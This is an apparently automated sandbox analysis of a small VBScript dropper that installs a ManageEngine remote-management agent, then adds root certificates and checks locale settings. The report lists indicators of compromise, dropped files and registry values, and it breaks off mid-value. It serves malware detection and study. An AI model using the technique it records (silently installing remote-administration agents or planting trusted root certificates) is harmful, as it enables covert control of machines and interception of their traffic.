Analysis
- user interaction
yes - max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
02/10/2026, 03:59
Static task
static1
Behavioral task
behavioral1
Sample
setup1.vbs
Resource
win10v2004-20260911-en
windows10-2004-x64
27 signatures
150 seconds
Behavioral task
behavioral2
Sample
setup1.vbs
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
29 signatures
150 seconds
General
- Target setup1.vbs
- Size 1KB
- Sample261002-ej24wasy5l
- SHA256 3d1a86ad729817d85377f59c3d5dcc67ba59af9824ae64aea8e626f6a4956d52
- MD5 4ee143d2618554b4d1e2852c433e46b1
- SHA1 59002f85299ef75a7e781b0cf3161573a70dd8be
- SHA512 b6ef5c25df25d0e35e8736e0c2f5a127e20563015cb992b6393fe9e967c9640efa3d17c4ca317758d3dcc777c9cb22760b1f04179668788a6afca782f10e6644
- TLSH T1F4313348E92FCD01C9758A7341076C4EC6B717552434006EBB6C8C7AAB2923ADF70562
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation wscript.exe - DCAgent remote management tool 3 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral1/files/0x000700000002452b-212.dat hacktool_dcagent behavioral1/files/0x0007000000024595-322.dat hacktool_dcagent behavioral1/files/0x0007000000024602-531.dat hacktool_dcagent - Executes dropped EXE 33 IoCs
pid Process 2912 dcagentregister.exe 3348 7za.exe 32 dcagentservice.exe 4712 dcstatusutil.exe 4376 dcinventory.exe 3048 dcagentservice.exe 4144 dcconfig.exe 2236 dcusbsummary.exe 4092 dcusb64.exe 1520 dcstatusutil.exe 2456 dcondemand.exe 1096 dcswmeter.exe 1800 dcinventory.exe 4696 dcconfig.exe 4996 metroapps.exe 1788 dcinventory.exe 1044 DCProcessMonitor.exe 5232 dcondemand.exe 5240 dcagenttrayicon.exe 5304 dcagenttrayicon.exe 5924 dcondemand.exe 6056 7za.exe 5420 7za.exe 4728 7za.exe 1188 7za.exe 5532 7za.exe 1528 7za.exe 4252 7za.exe 5596 meaap.exe 2740 dcondemand.exe 5688 dcagenttrayicon.exe 5804 dcagenttrayicon.exe 1824 dctask64.exe - Loads dropped DLL 64 IoCs
pid Process 1084 MsiExec.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 2912 dcagentregister.exe 32 dcagentservice.exe 32 dcagentservice.exe 4712 dcstatusutil.exe 4712 dcstatusutil.exe 4712 dcstatusutil.exe 4376 dcinventory.exe 4376 dcinventory.exe 3048 dcagentservice.exe 3048 dcagentservice.exe 4376 dcinventory.exe 2236 dcusbsummary.exe 2236 dcusbsummary.exe 4144 dcconfig.exe 4144 dcconfig.exe 4144 dcconfig.exe 1520 dcstatusutil.exe 1520 dcstatusutil.exe 2456 dcondemand.exe 2456 dcondemand.exe 2456 dcondemand.exe 1096 dcswmeter.exe 1096 dcswmeter.exe 1520 dcstatusutil.exe 1800 dcinventory.exe 1800 dcinventory.exe 2456 dcondemand.exe 2456 dcondemand.exe 1800 dcinventory.exe 4696 dcconfig.exe 4696 dcconfig.exe 4996 metroapps.exe 4996 metroapps.exe 4996 metroapps.exe 4996 metroapps.exe 1788 dcinventory.exe 1788 dcinventory.exe 1788 dcinventory.exe 4696 dcconfig.exe 5240 dcagenttrayicon.exe 5240 dcagenttrayicon.exe 5232 dcondemand.exe 5232 dcondemand.exe 5232 dcondemand.exe 5304 dcagenttrayicon.exe 5304 dcagenttrayicon.exe 5232 dcondemand.exe 5232 dcondemand.exe 5924 dcondemand.exe 5924 dcondemand.exe 5924 dcondemand.exe 5924 dcondemand.exe 5924 dcondemand.exe 5596 meaap.exe 5596 meaap.exe 5596 meaap.exe 5688 dcagenttrayicon.exe 5688 dcagenttrayicon.exe 2740 dcondemand.exe 2740 dcondemand.exe - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 564 msiexec.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process \??\F:\ msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Y: msiexec.exe - Drops file in System32 directory 16 IoCs
description ioc Process File created C:\Windows\SysWOW64\dcagenthttp.dll msiexec.exe File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft dcagentregister.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 dcagentregister.exe File created C:\Windows\System32\DriverStore\FileRepository\input.inf_amd64_adeb6424513f60a2\input.PNF dcinventory.exe File created C:\Windows\System32\DriverStore\FileRepository\usbport.inf_amd64_254cd5ae09de6b08\usbport.PNF dcinventory.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DesktopCentral_Agent\dcagenttrayicon.log dcagenttrayicon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData dcagentregister.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 dcagentregister.exe File created C:\Windows\System32\DriverStore\FileRepository\keyboard.inf_amd64_5938c699b80ebb8f\keyboard.PNF dcinventory.exe File created C:\Windows\System32\DriverStore\FileRepository\msmouse.inf_amd64_1793a485b491b199\msmouse.PNF dcinventory.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DesktopCentral_Agent\dcagenttrayicon.log dcagenttrayicon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content dcagentregister.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DesktopCentral_Agent\dcagenttrayicon.log dcagenttrayicon.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache dcagentregister.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DesktopCentral_Agent\dcagenttrayicon.log dcagenttrayicon.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4228 WScript.exe 4692 wscript.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777777_256x240.png 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\secaddoncrashanalyser.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_rejected.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\remind.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\detected_sw.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dctask64.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcipscope.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\server-certificates\DMRootCA.crt dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dpinst64.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentservice.log dcagentservice.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\dcdriverupdates.dll.gz dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\computer-rw.xml2412.tmp dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\meta-data.xml dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\global-meta-data.xml2412.tmp dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\dlp-resources\dlp-globalsettings\dlp-consentsetting.json2412.tmp dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\GlobalVariables.json dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\Resource\toolbar.swf msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\checkvolume.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferup.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\UserAssignmentRules.json2412.tmp dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\customer-meta-data.json5648.tmp meaap.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\usbconfig_user.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Apps.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-rds.xml msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe32.exe.config 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\meaaprovisioningaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\Network_Connection.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\Resource\invite.rgn msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\style_cold.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler64.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\resources.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\agent-security-setting.json dcagentregister.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_agentservice.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devicepatchaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win8.xml msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ToolsIQ.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\Resource\console1.rgn msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devaction_computer.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\agent-settings.xml2412.tmp dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\agent-security-setting.json2412.tmp dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ds-server-info.xml2412.tmp dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\misconfig-scan-data.xml.gz dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\misconfig-scan-data.xml dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Btn_request.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\arrow_pull_left.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\user.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\config_install_alert.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\User.svg msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemandtasks.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuninstallsw.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\sysmanager.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\icon_alert.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DumpCreator.dll msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProxyFinder.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\sysmanager.dll 7za.exe - Drops file in Windows directory 18 IoCs
description ioc Process File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\e58e23e.mst msiexec.exe File opened for modification C:\Windows\Installer\e58e23e.mst msiexec.exe File opened for modification C:\Windows\Installer\MSIEBC3.tmp msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File opened for modification C:\Windows\Installer\MSI3A71.tmp msiexec.exe File opened for modification C:\Windows\Installer\e58e23d.msi msiexec.exe File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File opened for modification C:\Windows\Installer\MSIE589.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File opened for modification C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File created C:\Windows\Installer\e58e23d.msi msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File created C:\Windows\Installer\e58e245.msi msiexec.exe File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4968 cmd.exe 512 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 7 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\424EC0DECFD35D06CAC424B7B4926B2040AE3013\Blob = 030000000100000014000000424ec0decfd35d06cac424b7b4926b2040ae3013200000000100000029040000308204253082030da00302010202085258b385439c03cb300d06092a864886f70d01010b05003081a1310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e654341311d301b06035504030c144d616e616765456e67696e6543412d44532d4341311b3019060355040b0c124d616e616765456e67696e652d44532d43413020170d3236303730363231343735345a180f32313236303730363231343735345a3081a1310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e654341311d301b06035504030c144d616e616765456e67696e6543412d44532d4341311b3019060355040b0c124d616e616765456e67696e652d44532d434130820122300d06092a864886f70d01010105000382010f003082010a028201010090dfba856bc15382fe45190726a0624c96f99c244b6364df4563eefaca9fb92d2df9eab996ab7e7b786e699558f56d78c2a1caf106f59d4215b51703abe53280a2c8d0c3f6dab163fe4abf15a7bb55ef58aa30502c91219853239869c9706d4545e2b6c12436b1d19d31ace1b674ccf5b00b27f687122ae004933e44d0f190c4673195962d4fecf7fbf90d6e91fb7b11ae1f28560aeca62af1e5c25ece04b5d6fde9fc86ca20fa57aa4b5e1e08be0701147d841c8f56cd6bb4c41091969a18991777be0381d381065849e5b4d53481276e8430b4d512dbd7cf88be128417de966a7b325c10a839f1a0261c0cb5411b605dc4f8b4e089a3e945be25668e7f00550203010001a35d305b300c0603551d13040530030101ff301d0603551d0e041604144ef9be3368392368fcb673f7ce565a97b5bc3098301f0603551d230418301680144ef9be3368392368fcb673f7ce565a97b5bc3098300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010035a259f6f196cd83267f9d57f02dd838b944a9b751dae680bcddeccaec4b4cddfb443c15220795b88a251d66b55cd2e83f1691f0977d77fc4947957ca40009ad2e1a8127c41fc72edbbc0b749c027c79ebb36e984df2d1879b1ef8b7b4b43b33aaf02b1d709e35d0dd76b689b4fb0771a4b78a1b4404e59c0d78f7ae2eaaeb7854eca97f19d5a31724e4323226d6c66117c77945f70742bd1ad496a1e46e457965768df4808e1075ad48b19a01bae7cb495d501821cdbca8a8d1c2770ea762ba554a841994c6b15d3a5a0d17c08a8fea4d3acdd33aac97e2e8fb89e22472fa94fea9f190d6f329d8cfd9d28f2a2a736b638b9e5d4a1e51496d31c3c0aa0c935f dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C9B454C835C061805660C4B50C29CB771199B510\Blob = 140000000100000014000000e4f99aae32846a87741b8f7bca827f2cbc6a4770030000000100000014000000c9b454c835c061805660c4b50c29cb771199b5100f0000000100000020000000b91d3f67fa8a49697d30830c90e1223eb8b1d7072c95c88bd5e00016b0d0142a2000000001000000af030000308203ab30820293a003020102020815f24d2524b9af10300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413020170d3236303730363231343534315a180f32313236303730363231343534315a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a674501b436fa66be4f8eb49fda650f9706c400dbf1a9453fd28573c0f4431cf95993923fe827049efc64a6aa8aefaa3c3ed44f710b50334cd297c92176af9c276bc1dddab62d147ca865b08b4ef72fd03b9c99aaac19c61a6fb8d611ca4aadf2733331f4d28c022a4df3d20c988b5e851ccda23949ea8afdc064ae69938b5c5753eef50f69bf2d9267316e094929934f7efdb51fc49704f0006153a06f10982390cb2045b23037b69cad46c6105e88bbe41617dcd575499494ef76dea0771b89006c5b667aba9db0dba6215c7fb3600fe7ed0414191a8e5ed3ae9781217bb84355599aa66065207ffb32a92834944aebe21b7bbd540d0ce84e64438f7a5fcdd0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e04160414e4f99aae32846a87741b8f7bca827f2cbc6a4770301f0603551d23041830168014e4f99aae32846a87741b8f7bca827f2cbc6a4770300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010068365d6937f207b044aec454f22bc5d638747d3afd7cadce2bb371efa97554a96b7e4ba8810aa253232063aa88884ec0ee64b07a8e8fe0131248fcaf102c897c34ce0281b8977092484acf69056830824dfe67e4dcf68a9ff83daf26711f3ac60972ca1ccd19f2f8751f8ec573a033b445ec870ed28e1748c00564bdf2836deab2bcb392a288d7c9bc9189c7056a19790964175da5ec8c4fd228df8c2aac472db465c8e318554f75a1309b0eb376436cbadf629d38950229376c0d54d56b3fd4d1fa64e76cca44ff7d9840fda756b4df2778bbb8a35747424b6edc5ee7c0e7aa3f7270d2f413fc940434ca8c287f74c0d4a34e77e4c0a5aa1a8e6c1a8ef61441 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C9B454C835C061805660C4B50C29CB771199B510\Blob = 040000000100000010000000151cd8a9578a5bf1c89578be6b8eecc30f0000000100000020000000b91d3f67fa8a49697d30830c90e1223eb8b1d7072c95c88bd5e00016b0d0142a030000000100000014000000c9b454c835c061805660c4b50c29cb771199b510140000000100000014000000e4f99aae32846a87741b8f7bca827f2cbc6a47702000000001000000af030000308203ab30820293a003020102020815f24d2524b9af10300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413020170d3236303730363231343534315a180f32313236303730363231343534315a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a674501b436fa66be4f8eb49fda650f9706c400dbf1a9453fd28573c0f4431cf95993923fe827049efc64a6aa8aefaa3c3ed44f710b50334cd297c92176af9c276bc1dddab62d147ca865b08b4ef72fd03b9c99aaac19c61a6fb8d611ca4aadf2733331f4d28c022a4df3d20c988b5e851ccda23949ea8afdc064ae69938b5c5753eef50f69bf2d9267316e094929934f7efdb51fc49704f0006153a06f10982390cb2045b23037b69cad46c6105e88bbe41617dcd575499494ef76dea0771b89006c5b667aba9db0dba6215c7fb3600fe7ed0414191a8e5ed3ae9781217bb84355599aa66065207ffb32a92834944aebe21b7bbd540d0ce84e64438f7a5fcdd0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e04160414e4f99aae32846a87741b8f7bca827f2cbc6a4770301f0603551d23041830168014e4f99aae32846a87741b8f7bca827f2cbc6a4770300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010068365d6937f207b044aec454f22bc5d638747d3afd7cadce2bb371efa97554a96b7e4ba8810aa253232063aa88884ec0ee64b07a8e8fe0131248fcaf102c897c34ce0281b8977092484acf69056830824dfe67e4dcf68a9ff83daf26711f3ac60972ca1ccd19f2f8751f8ec573a033b445ec870ed28e1748c00564bdf2836deab2bcb392a288d7c9bc9189c7056a19790964175da5ec8c4fd228df8c2aac472db465c8e318554f75a1309b0eb376436cbadf629d38950229376c0d54d56b3fd4d1fa64e76cca44ff7d9840fda756b4df2778bbb8a35747424b6edc5ee7c0e7aa3f7270d2f413fc940434ca8c287f74c0d4a34e77e4c0a5aa1a8e6c1a8ef61441 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C9B454C835C061805660C4B50C29CB771199B510\Blob = 190000000100000010000000c8ef8ae5936ffa6aa8b1bd9696da5c78140000000100000014000000e4f99aae32846a87741b8f7bca827f2cbc6a4770030000000100000014000000c9b454c835c061805660c4b50c29cb771199b5100f0000000100000020000000b91d3f67fa8a49697d30830c90e1223eb8b1d7072c95c88bd5e00016b0d0142a040000000100000010000000151cd8a9578a5bf1c89578be6b8eecc32000000001000000af030000308203ab30820293a003020102020815f24d2524b9af10300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413020170d3236303730363231343534315a180f32313236303730363231343534315a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a674501b436fa66be4f8eb49fda650f9706c400dbf1a9453fd28573c0f4431cf95993923fe827049efc64a6aa8aefaa3c3ed44f710b50334cd297c92176af9c276bc1dddab62d147ca865b08b4ef72fd03b9c99aaac19c61a6fb8d611ca4aadf2733331f4d28c022a4df3d20c988b5e851ccda23949ea8afdc064ae69938b5c5753eef50f69bf2d9267316e094929934f7efdb51fc49704f0006153a06f10982390cb2045b23037b69cad46c6105e88bbe41617dcd575499494ef76dea0771b89006c5b667aba9db0dba6215c7fb3600fe7ed0414191a8e5ed3ae9781217bb84355599aa66065207ffb32a92834944aebe21b7bbd540d0ce84e64438f7a5fcdd0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e04160414e4f99aae32846a87741b8f7bca827f2cbc6a4770301f0603551d23041830168014e4f99aae32846a87741b8f7bca827f2cbc6a4770300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010068365d6937f207b044aec454f22bc5d638747d3afd7cadce2bb371efa97554a96b7e4ba8810aa253232063aa88884ec0ee64b07a8e8fe0131248fcaf102c897c34ce0281b8977092484acf69056830824dfe67e4dcf68a9ff83daf26711f3ac60972ca1ccd19f2f8751f8ec573a033b445ec870ed28e1748c00564bdf2836deab2bcb392a288d7c9bc9189c7056a19790964175da5ec8c4fd228df8c2aac472db465c8e318554f75a1309b0eb376436cbadf629d38950229376c0d54d56b3fd4d1fa64e76cca44ff7d9840fda756b4df2778bbb8a35747424b6edc5ee7c0e7aa3f7270d2f413fc940434ca8c287f74c0d4a34e77e4c0a5aa1a8e6c1a8ef61441 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C9B454C835C061805660C4B50C29CB771199B510\Blob = 5c000000010000000400000000080000040000000100000010000000151cd8a9578a5bf1c89578be6b8eecc30f0000000100000020000000b91d3f67fa8a49697d30830c90e1223eb8b1d7072c95c88bd5e00016b0d0142a030000000100000014000000c9b454c835c061805660c4b50c29cb771199b510140000000100000014000000e4f99aae32846a87741b8f7bca827f2cbc6a4770190000000100000010000000c8ef8ae5936ffa6aa8b1bd9696da5c782000000001000000af030000308203ab30820293a003020102020815f24d2524b9af10300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413020170d3236303730363231343534315a180f32313236303730363231343534315a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a674501b436fa66be4f8eb49fda650f9706c400dbf1a9453fd28573c0f4431cf95993923fe827049efc64a6aa8aefaa3c3ed44f710b50334cd297c92176af9c276bc1dddab62d147ca865b08b4ef72fd03b9c99aaac19c61a6fb8d611ca4aadf2733331f4d28c022a4df3d20c988b5e851ccda23949ea8afdc064ae69938b5c5753eef50f69bf2d9267316e094929934f7efdb51fc49704f0006153a06f10982390cb2045b23037b69cad46c6105e88bbe41617dcd575499494ef76dea0771b89006c5b667aba9db0dba6215c7fb3600fe7ed0414191a8e5ed3ae9781217bb84355599aa66065207ffb32a92834944aebe21b7bbd540d0ce84e64438f7a5fcdd0203010001a35d305b300c0603551d13040530030101ff301d0603551d0e04160414e4f99aae32846a87741b8f7bca827f2cbc6a4770301f0603551d23041830168014e4f99aae32846a87741b8f7bca827f2cbc6a4770300b0603551d0f0404030201a6300d06092a864886f70d01010b0500038201010068365d6937f207b044aec454f22bc5d638747d3afd7cadce2bb371efa97554a96b7e4ba8810aa253232063aa88884ec0ee64b07a8e8fe0131248fcaf102c897c34ce0281b8977092484acf69056830824dfe67e4dcf68a9ff83daf26711f3ac60972ca1ccd19f2f8751f8ec573a033b445ec870ed28e1748c00564bdf2836deab2bcb392a288d7c9bc9189c7056a19790964175da5ec8c4fd228df8c2aac472db465c8e318554f75a1309b0eb376436cbadf629d38950229376c0d54d56b3fd4d1fa64e76cca44ff7d9840fda756b4df2778bbb8a35747424b6edc5ee7c0e7aa3f7270d2f413fc940434ca8c287f74c0d4a34e77e4c0a5aa1a8e6c1a8ef61441 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\424EC0DECFD35D06CAC424B7B4926B2040AE3013\Blob = 